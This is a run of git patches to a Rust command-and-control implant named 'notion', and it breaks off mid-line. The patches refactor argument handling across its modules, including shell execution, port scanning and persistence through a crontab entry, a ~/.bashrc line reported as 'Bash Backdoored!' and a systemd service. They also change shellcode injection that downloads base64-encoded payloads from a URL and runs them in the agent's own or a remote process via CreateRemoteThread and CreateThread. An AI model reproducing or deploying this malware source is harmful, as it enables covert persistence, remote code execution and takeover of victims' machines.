struct CommandArgs { items: Vec, count: usize From 272365a02e85110325351f0730ae532db7d34add Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:46:18 -0800 Subject: [PATCH 12/99] Refactor portscan for CommandArgs --- agent/src/cmd/portscan.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index a321edb..e1658fd 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -7,6 +7,7 @@ use cidr_utils::cidr::IpCidr; use tokio::net::TcpStream; use tokio::sync::mpsc::channel; use crate::logger::Logger; +use crate::cmd::CommandArgs; /// Common ports to scan. @@ -120,9 +121,9 @@ fn get_ports(full: bool) -> Vec { /// ```bash /// portscan 102.168.35.5. false 10 10 🎯 /// ``` -pub async fn handle(s: &String, logger: &Logger) -> Result> { - let args: Vec<&str> = s.split(" ").collect(); - logger.debug(format!("Portscan args: {:?}", s)); +pub async fn handle(cmd_args: CommandArgs, logger: &Logger) -> Result> { + logger.debug(format!("Portscan args: {:?}", cmd_args)); + let args: Vec = cmd_args.collect(); if args.len() <= 4 { Ok(format!("[-] Improper args. From 3218d5ad04d06fcb0e2765d63651a2948040bcbe Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:48:47 -0800 Subject: [PATCH 13/99] Refactor runas for CommandArgs --- agent/src/cmd/mod.rs | 2 +- agent/src/cmd/runas.rs | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 7ed9469..b0bc548 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -104,7 +104,7 @@ impl Iterator for CommandArgs { None } } -}; +} /// The command itself, containing the `CommandType` enum diff --git a/agent/src/cmd/runas.rs b/agent/src/cmd/runas.rs index 8ed9e93..c79622b 100755 --- a/agent/src/cmd/runas.rs +++ b/agent/src/cmd/runas.rs @@ -1,9 +1,10 @@ use std::error::Error; +use crate::cmd::CommandArgs; /// Runs given command as another user. Requires admin privs. /// /// Usage: `runas [user] [command]` -pub async fn handle(s: &String) -> Result> { +pub async fn handle(cmd_args: CommandArgs) -> Result> { // TODO: Implement #[cfg(windows)] { return Ok(String::from("Under Construction!")) From 73b879b1b656b67c4559efaa7cb5710b33b33187 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:55:16 -0800 Subject: [PATCH 14/99] Refactor save for CommandArgs --- agent/src/cmd/save.rs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index f7d495e..e20ff56 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -2,18 +2,17 @@ use std::error::Error; use std::fs::write; use serde_json::to_string as json_to_string; // use relative_path::RelativePath; -use crate::cmd::ConfigOptions; +use crate::cmd::{CommandArgs, ConfigOptions}; /// Saves the agent to the given path. /// /// Usage: `save [path]` -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { - if !s.is_empty() { - config_options.config_file_path = s.trim().to_string(); - } +pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions) -> Result> { + let save_path = cmd_args.nth(0).unwrap_or_else(|| config_options.config_file_path.to_owned()); + config_options.config_file_path = save_path.to_owned(); // let write_path = RelativePath::new(config_options.config_file_path.as_str()); match write(&config_options.config_file_path, json_to_string(config_options)?) { - Ok(_) => Ok(format!("Config file saved to {s}").to_string()), + Ok(_) => Ok(format!("Config file saved to {save_path}").to_string()), Err(e) => Ok(format!("{e}")) } } \ No newline at end of file From 810243a5e796ecd83a49b9112c3915c34107aada Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:59:10 -0800 Subject: [PATCH 15/99] Fix docstring --- agent/src/cmd/mod.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index b0bc548..21dc95f 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -75,7 +75,8 @@ impl CommandArgs { /// Default constructor for `CommandArgs`. /// - /// We're not actually using this yet, but it's good to have. + /// Handy to have in modules that use other modules as + /// part of their operation. pub fn new(args: Vec ) -> CommandArgs { CommandArgs { items: args, count: 0 } } From 27585cf02d12583766c7df7c723517a99c65c758 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:59:30 -0800 Subject: [PATCH 16/99] Refactor persist for CommandArgs --- agent/src/cmd/persist.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 6059973..9d6e720 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -192,7 +192,8 @@ pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOption }; if let Ok(_) = copy(&app_path, dest_path) { // Save config for relaunch - save::handle(&format!("{app_dir}/cfg.json"), config_options).await?; + let save_args = CommandArgs::new(vec![format!("{app_dir}/cfg.json")]); + save::handle(save_args, config_options).await?; // Write a cronjob to the user's crontab with the given minutes as an interval. let cron_string = format!("0 * * * * {app_dir}/notion"); if let Ok(_) = shell::handle(&format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ")).await { From 44ca56e423a397bf8ec0c5677284eb3a667306b8 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 00:16:35 -0800 Subject: [PATCH 17/99] Add from_string() to CommandArgs --- agent/src/cmd/mod.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 21dc95f..8e50464 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -91,6 +91,15 @@ impl CommandArgs { .collect(); CommandArgs { items: items, count: 0 } } + + pub fn from_string(args_string: String) -> CommandArgs { + let items: Vec = args_string + .split(" ") + .map(|s| s.trim().to_string()) + .collect(); + + CommandArgs { items: items, count: 0 } + } } impl Iterator for CommandArgs { From c7b318834bbd7ba191b904312bec12f1d7c9d203 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 00:16:56 -0800 Subject: [PATCH 18/99] Redo persist to use from_string --- agent/src/cmd/persist.rs | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 9d6e720..b7edf8d 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -192,11 +192,14 @@ pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOption }; if let Ok(_) = copy(&app_path, dest_path) { // Save config for relaunch - let save_args = CommandArgs::new(vec![format!("{app_dir}/cfg.json")]); + let save_args = CommandArgs::from_string(format!("{app_dir}/cfg.json")); save::handle(save_args, config_options).await?; // Write a cronjob to the user's crontab with the given minutes as an interval. let cron_string = format!("0 * * * * {app_dir}/notion"); - if let Ok(_) = shell::handle(&format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ")).await { + let cron_args = CommandArgs::from_string( + format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ") + ); + if let Ok(_) = shell::handle(cron_args).await { Ok("Cronjob added!".to_string()) } else { Ok("Could not make cronjob".to_string()) @@ -215,7 +218,10 @@ pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOption // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. - if let Ok(_) = shell::handle(&format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")).await { + let bashrc_args = CommandArgs::new( + vec![format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")] + ); + if let Ok(_) = shell::handle(bashrc_args).await { Ok("Bash Backdoored!".to_string()) } else { Ok("Could not modify bashrc".to_string()) @@ -250,7 +256,10 @@ ExecStart={dest_path} -b {b64_config} WantedBy=multi-user.target" ); write(svc_path, svc_string)?; - return shell::handle(&"systemctl enable notion.service".to_string()).await; + let systemd_args = CommandArgs::from_string( + "systemctl enable notion.service".to_string() + ); + return shell::handle(systemd_args).await; } else { return Ok("Could not copy service file".to_string()); } From 9071f6fb521a8611b4a1431689234a656ab23bba Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 00:17:15 -0800 Subject: [PATCH 19/99] Refactor shell for CommandArgs --- agent/src/cmd/shell.rs | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index 60eb5ac..b88b86c 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -1,5 +1,6 @@ use std::process::Command; use std::error::Error; +use crate::cmd::CommandArgs; /// Executes the given shell command. /// @@ -8,17 +9,18 @@ use std::error::Error; /// On Linux, calls out to `/bin/bash`. /// /// Usage: `shell [command]` -pub async fn handle(s: &String) -> Result> { +pub async fn handle(cmd_args: CommandArgs) -> Result> { + let args_vec: Vec = cmd_args.collect(); let output = if cfg!(target_os = "windows") { Command::new("cmd") .arg("/c") - .arg(s) + .args(args_vec) .output() .expect("failed to execute process") } else { Command::new("/bin/bash") .arg("-c") - .arg(s) + .args(args_vec) .output() .expect("failed to execute process") }; From 1d3558fa2e7b797abcb0f89214aeeebbf781533b Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 01:35:11 -0800 Subject: [PATCH 20/99] Add to_string() to CommandArgs --- agent/src/cmd/mod.rs | 38 +++++++++++++++++++++++--------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 8e50464..6722812 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -33,7 +33,6 @@ pub enum CommandType { Elevate, Getprivs, Inject, - CreateThread, Portscan, Persist, Ps, @@ -100,6 +99,17 @@ impl CommandArgs { CommandArgs { items: items, count: 0 } } + + /// Converts the args into a space-separated string. + /// + /// Real handy for shell commands. + pub fn to_string(&self) -> String { + self.items + .as_slice() + .join(" ") + .trim() + .to_string() + } } impl Iterator for CommandArgs { @@ -109,7 +119,7 @@ impl Iterator for CommandArgs { if self.items.len() > self.count { self.count += 1; - Some(self.items[self.count - 1]) + Some(self.items[self.count - 1].to_string()) } else { None } @@ -137,7 +147,6 @@ impl NotionCommand { let command_type: CommandType = match t { "cd" => CommandType::Cd, - "createthread" => CommandType::CreateThread, "download" => CommandType::Download, "elevate" => CommandType::Elevate, "getprivs" => CommandType::Getprivs, @@ -161,25 +170,24 @@ impl NotionCommand { } } /// Executes the appropriate function for the `command_type`. - pub async fn handle(&self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { + pub async fn handle(&mut self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { match &self.command_type { - CommandType::Cd => cd::handle(self.args), - CommandType::Download => download::handle(self.args, logger).await, - CommandType::Elevate => elevate::handle(self.args, config_options).await, + CommandType::Cd => cd::handle(&mut self.args), + CommandType::Download => download::handle( &mut self.args, logger).await, + CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, - CommandType::Inject => inject::handle(self.args, logger).await, - CommandType::Persist => persist::handle(self.args, config_options, logger).await, - CommandType::Portscan => portscan::handle(self.args, logger).await, + CommandType::Inject => inject::handle(&self.args, logger).await, + CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, + CommandType::Portscan => portscan::handle(&mut self.args, logger).await, CommandType::Ps => ps::handle().await, CommandType::Pwd => pwd::handle().await, - CommandType::Runas => runas::handle(self.args).await, - CommandType::Save => save::handle(self.args, config_options).await, - CommandType::Shell => shell::handle(self.args).await, + CommandType::Runas => runas::handle(&self.args).await, + CommandType::Save => save::handle(&mut self.args, config_options).await, + CommandType::Shell => shell::handle(&mut self.args).await, CommandType::Shutdown => shutdown::handle().await, - CommandType::Sleep => sleep::handle(self.args, config_options).await, + CommandType::Sleep => sleep::handle(&mut self.args, config_options).await, CommandType::Whoami => whoami::handle().await, CommandType::Unknown => unknown::handle().await, - CommandType::CreateThread => createthread::handle(self.args, logger).await } } } \ No newline at end of file From 732847705a22b6c3c275853dc0a96b7712e5b5b0 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 01:35:41 -0800 Subject: [PATCH 21/99] Include CreateThread in here --- agent/src/cmd/inject.rs | 320 ++++++++++++++++++++++++++-------------- 1 file changed, 212 insertions(+), 108 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index ee5160b..61cc99a 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -4,7 +4,21 @@ use crate::cmd::CommandArgs; #[cfg(windows)] use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; #[cfg(windows)] extern crate kernel32; -#[cfg(windows)] use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; +#[cfg(windows)] use winapi::um::winnt::{ + PROCESS_ALL_ACCESS, + MEM_COMMIT, + MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + PAGE_EXECUTE_READ, + PAGE_READWRITE, + PVOID +}; +#[cfg(windows)] use winapi::um::{ + errhandlingapi, + processthreadsapi, + winbase, + synchapi::WaitForSingleObject +}; #[cfg(windows)] use std::ptr; #[cfg(windows)] use reqwest::Client; @@ -20,128 +34,218 @@ use crate::cmd::CommandArgs; /// This has proven effective in initial evasion. /// /// ### Examples -/// Usage: `inject [shellcode_url] [pid] [b64_iterations] 🎯` +/// Usage: `inject [shellcode_method] [shellcode_url] [b64_iterations] [[pid]] 🎯` /// /// On Linux, the payload will be downloaded and executed like a regular dropper. #[cfg(windows)] -pub async fn handle(mut cmd_args: CommandArgs, logger: &Logger) -> Result> { - - // Set up our variables; each one could fail on us. - // Yes this is a lot of verbose error checking, but this - // has to be rock solid or the agent will die. - let mut url: &str; - let mut pid: u32; - let mut b64_iterations: u32; - - // Get URL - match cmd_args.nth(0) { - Some(u) => { - logger.debug(format!("Shellcode URL: {}", &u)); - url = u; - }, - None => { return Ok("Could not parse URL".to_string()); } - }; - - // Get pid - match cmd_args.nth(0) { - Some(ps) => { - if let Ok(p) = ps.parse::() { - logger.debug(format!("Injecting into PID: {:?}", &p)); - pid = p; +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { + + if let Some(inject_type) = cmd_args.nth(0) { + + // Set up our variables; each one could fail on us. + // Yes this is a lot of verbose error checking, but this + // has to be rock solid or the agent will die. + let mut url: &str; + let mut b64_iterations: u32; + + // Get URL + match cmd_args.nth(0) { + Some(u) => { + logger.debug(format!("Shellcode URL: {}", &u)); + url = u; + }, + None => { return Ok("Could not parse URL".to_string()); } + }; + + // Get b64_iterations + match cmd_args.nth(0) { + Some(bs) => { + if let Ok(b) = bs.parse::() { + b64_iterations = b; + } else { + return Ok("Could not parse b64 iterations".to_string()); + } + }, + None => { return Ok("Could not extract b64 iterations".to_string()); } + }; + + // Download shellcode, or try to + let client = Client::new(); + if let Ok(r) = client.get(url).send().await { + if r.status().is_success() { + logger.info(format!("Got the shellcode")); + // Get the shellcode. Now we have to decode it + let mut shellcode_encoded: Vec; + let mut shellcode_string: String; + let mut shellcode: Vec; + if let Ok(sc) = r.text().await { + shellcode_encoded = Vec::from(sc.trim().as_bytes()); + logger.info(format!("Got encoded bytes")); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_encoded) { + Ok(d) => { + shellcode_encoded = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { return Ok(e.to_string()); } + }; + + } + // Convert bytes to our proper string + shellcode_string = String::from_utf8(shellcode_encoded)?; + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + shellcode = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); + + } else { + let err_msg = "Could not decode shellcode"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + } else { - let err_msg = "Could not parse PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - }, - None => { - let err_msg = "Could not extract PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); + return Ok("Could not download shellcode".to_string()); + } + + } else { + return Ok(format!("Could not download from {url}")); } - }; - // Get b64_iterations - match cmd_args.nth(0) { - Some(bs) => { - if let Ok(b) = bs.parse::() { - b64_iterations = b; - } else { - return Ok("Could not parse b64 iterations".to_string()); - } - }, - None => { return Ok("Could not extract b64 iterations".to_string()); } - }; - - logger.debug(format!("Injecting into PID {:?}", pid)); - let client = Client::new(); - if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); - // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; - if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); - logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { return Ok(e.to_string()); } - }; - - } - // Convert bytes to our proper string - shellcode_string = String::from_utf8(shellcode_encoded)?; - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s|{ - match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) => 0 + match inject_type.as_str() { + "remote" => { + let mut pid: u32; + // Get pid + match cmd_args.nth(0) { + Some(ps) => { + if let Ok(p) = ps.parse::() { + logger.debug(format!("Injecting into PID: {:?}", &p)); + pid = p; + // Big thanks to trickster0 + // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread + unsafe { + let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); + let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let mut n = 0; + kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); + let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); + kernel32::CloseHandle(h); + } + return Ok("Injection completed!".to_string()); + } else { + let err_msg = "Could not parse PID"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); } - }) - .collect(); + }, + None => { + let err_msg = "Could not extract PID"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + }; + }, + "self" => { + type DWORD = u32; + logger.debug(format!("Injecting into current process...")); + unsafe { + let base_addr = kernel32::VirtualAlloc( + ptr::null_mut(), + shellcode.len().try_into().unwrap(), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ); - } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } + if base_addr.is_null() { + println!("[-] Couldn't allocate memory to current proc.") + } else { + println!("[+] Allocated memory to current proc."); + } + + // copy shellcode into mem + println!("[*] Copying Shellcode to address in current proc."); + std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); + println!("[*] Copied..."); + + // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` + println!("[*] Changing mem protections to RX..."); + + let mut old_protect: DWORD = PAGE_READWRITE; + + let mem_protect = kernel32::VirtualProtect( + base_addr, + shellcode.len() as u64, + PAGE_EXECUTE_READ, + &mut old_protect, + ); + + if mem_protect == 0 { + let error = errhandlingapi::GetLastError(); + println!("[-] Error: {}", error.to_string()); + process::exit(0x0100); + } + + // Call CreateThread + + println!("[*] Calling CreateThread..."); + let mut tid = 0; + let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; - // Big thanks to trickster0 - // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread - unsafe { - let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); - let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); - let mut n = 0; - kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); - let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); - kernel32::CloseHandle(h); + let h_thread = processthreadsapi::CreateThread( + ptr::null_mut(), + 0, + Some(ep), + ptr::null_mut(), + 0, + &mut tid, + ); + + if h_thread.is_null() { + let error = unsafe { errhandlingapi::GetLastError() }; + println!("{}", error.to_string()) + } else { + println!("[+] Thread Id: {}", tid) + } + + // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running + + println!("[*] Calling WaitForSingleObject..."); + + let status = WaitForSingleObject(h_thread, winbase::INFINITE); + if status == 0 { + println!("[+] Good!") + } else { + let error = errhandlingapi::GetLastError(); + println!("{}", error.to_string()) + } + } + + return Ok("Injection completed!".to_string()); + } - return Ok("Injection completed!".to_string()); - } else { - return Ok("Could not download shellcode".to_string()); - } + } } else { - return Ok(format!("Could not download from {url}")); - } + return Ok("Could not parse URL".to_string()); + } + + } #[cfg(not(windows))] -pub async fn handle(cmd_args: CommandArgs, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &CommandArgs, logger: &Logger) -> Result> { Ok("Can only inject shellcode on Windows!".to_string()) } \ No newline at end of file From 266b2f4f7d1a1b2770786965cae0e62d136c4f70 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 01:38:14 -0800 Subject: [PATCH 22/99] Mut refs for CommandArgs --- agent/src/cmd/cd.rs | 2 +- agent/src/cmd/createthread.rs | 202 ++++++++++++++++++---------------- agent/src/cmd/download.rs | 2 +- agent/src/cmd/elevate.rs | 2 +- agent/src/cmd/persist.rs | 18 +-- agent/src/cmd/portscan.rs | 2 +- agent/src/cmd/runas.rs | 2 +- agent/src/cmd/save.rs | 2 +- agent/src/cmd/shell.rs | 7 +- agent/src/cmd/sleep.rs | 9 +- agent/src/main.rs | 2 +- 11 files changed, 131 insertions(+), 119 deletions(-) diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index ac98b4d..3e4ff22 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -5,7 +5,7 @@ use crate::cmd::CommandArgs; /// Changes the directory using system tools /// Rather than the shell -pub fn handle(cmd_args: CommandArgs) -> Result> { +pub fn handle(cmd_args: &mut CommandArgs) -> Result> { let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string()); let new_path = Path::new(&path_arg); match set_current_dir(new_path) { diff --git a/agent/src/cmd/createthread.rs b/agent/src/cmd/createthread.rs index d000802..5856cd4 100644 --- a/agent/src/cmd/createthread.rs +++ b/agent/src/cmd/createthread.rs @@ -1,26 +1,43 @@ -use std::error::Error; use crate::logger::Logger; -#[cfg(windows)] use base64::decode as b64_decode; -#[cfg(windows)]extern crate kernel32; -#[cfg(windows)]use winapi::um::winnt::{PVOID, PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READ}; -#[cfg(windows)]use std::ptr; -#[cfg(windows)]use std::io; -#[cfg(windows)]use std::io::prelude::*; -#[cfg(windows)]use std::io::{stdin, stdout, Read, Write}; -#[cfg(windows)]use winapi::um::errhandlingapi; -#[cfg(windows)]use winapi::um::processthreadsapi; -#[cfg(windows)]use winapi::um::winbase; -#[cfg(windows)]use winapi::um::synchapi::WaitForSingleObject; -#[cfg(windows)]use std::process; -#[cfg(windows)] use reqwest::Client; +#[cfg(windows)] +use base64::decode as b64_decode; +use std::error::Error; +#[cfg(windows)] +extern crate kernel32; +#[cfg(windows)] +use reqwest::Client; +#[cfg(windows)] +use std::io; +#[cfg(windows)] +use std::io::prelude::*; +#[cfg(windows)] +use std::io::{stdin, stdout, Read, Write}; +#[cfg(windows)] +use std::process; +#[cfg(windows)] +use std::ptr; +#[cfg(windows)] +use winapi::um::errhandlingapi; +#[cfg(windows)] +use winapi::um::processthreadsapi; +#[cfg(windows)] +use winapi::um::synchapi::WaitForSingleObject; +#[cfg(windows)] +use winapi::um::winbase; +#[cfg(windows)] +use winapi::um::winnt::{ + MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, + PROCESS_ALL_ACCESS, PVOID, +}; type DWORD = u32; pub async fn handle(base64_string: &String, logger: &Logger) -> Result> { - #[cfg(windows)] { + #[cfg(windows)] + { // Input: url to shellcode -p pid let mut args = base64_string.split(" "); - + // Set up our variables; each one could fail on us. // Yes this is a lot of verbose error checking, but this // has to be rock solid or the agent will die. @@ -29,11 +46,13 @@ pub async fn handle(base64_string: &String, logger: &Logger) -> Result { + Some(u) => { logger.debug(format!("Shellcode URL: {}", &u)); - url = u; - }, - None => { return Ok("Could not parse URL".to_string()); } + url = u; + } + None => { + return Ok("Could not parse URL".to_string()); + } }; // Get b64_iterations @@ -44,15 +63,17 @@ pub async fn handle(base64_string: &String, logger: &Logger) -> Result { return Ok("Could not extract b64 iterations".to_string()); } + } + None => { + return Ok("Could not extract b64 iterations".to_string()); + } }; logger.debug(format!("Injecting into current process...")); let client = Client::new(); if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); + if r.status().is_success() { + logger.info(format!("Got the shellcode")); // Get the shellcode. Now we have to decode it let mut shellcode_encoded: Vec; let mut shellcode_string: String; @@ -64,14 +85,12 @@ pub async fn handle(base64_string: &String, logger: &Logger) -> Result { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { return Ok(e.to_string()); } + shellcode_encoded = d.into_iter().filter(|&b| b != 0x0a).collect(); + } + Err(e) => { + return Ok(e.to_string()); + } }; - } // Convert bytes to our proper string shellcode_string = String::from_utf8(shellcode_encoded)?; @@ -80,107 +99,102 @@ pub async fn handle(base64_string: &String, logger: &Logger) -> Result b, - Err(_) => 0 - } + .map(|s| s.replace(" ", "")) + .map(|s| match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0, }) .collect(); - } else { let err_msg = "Could not decode shellcode"; logger.err(err_msg.to_string()); return Ok(err_msg.to_string()); } - - unsafe{ + + unsafe { let base_addr = kernel32::VirtualAlloc( ptr::null_mut(), shellcode.len().try_into().unwrap(), MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE + PAGE_READWRITE, ); - - if base_addr.is_null() { + + if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.") } else { println!("[+] Allocated memory to current proc."); } - + // copy shellcode into mem println!("[*] Copying Shellcode to address in current proc."); - std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); + std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); println!("[*] Copied..."); - - + // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` println!("[*] Changing mem protections to RX..."); - + let mut old_protect: DWORD = PAGE_READWRITE; - - let mem_protect = kernel32::VirtualProtect ( + + let mem_protect = kernel32::VirtualProtect( base_addr, shellcode.len() as u64, PAGE_EXECUTE_READ, - &mut old_protect + &mut old_protect, ); - + if mem_protect == 0 { let error = errhandlingapi::GetLastError(); println!("[-] Error: {}", error.to_string()); process::exit(0x0100); } - - // Call CreateThread - - println!("[*] Calling CreateThread..."); - - let mut tid = 0; - let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; - - let h_thread = processthreadsapi::CreateThread( - ptr::null_mut(), - 0, - Some(ep), - ptr::null_mut(), - 0, - &mut tid - ); - - if h_thread.is_null() { - let error = unsafe { errhandlingapi::GetLastError() }; - println!("{}", error.to_string()) - - } else { - println!("[+] Thread Id: {}", tid) - } - - // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running - - println!("[*] Calling WaitForSingleObject..."); - - let status = WaitForSingleObject(h_thread, winbase::INFINITE); - if status == 0 { - println!("[+] Good!") - } else { - let error = errhandlingapi::GetLastError(); - println!("{}", error.to_string()) + + // Call CreateThread + + println!("[*] Calling CreateThread..."); + + let mut tid = 0; + let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; + + let h_thread = processthreadsapi::CreateThread( + ptr::null_mut(), + 0, + Some(ep), + ptr::null_mut(), + 0, + &mut tid, + ); + + if h_thread.is_null() { + let error = unsafe { errhandlingapi::GetLastError() }; + println!("{}", error.to_string()) + } else { + println!("[+] Thread Id: {}", tid) + } + + // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running + + println!("[*] Calling 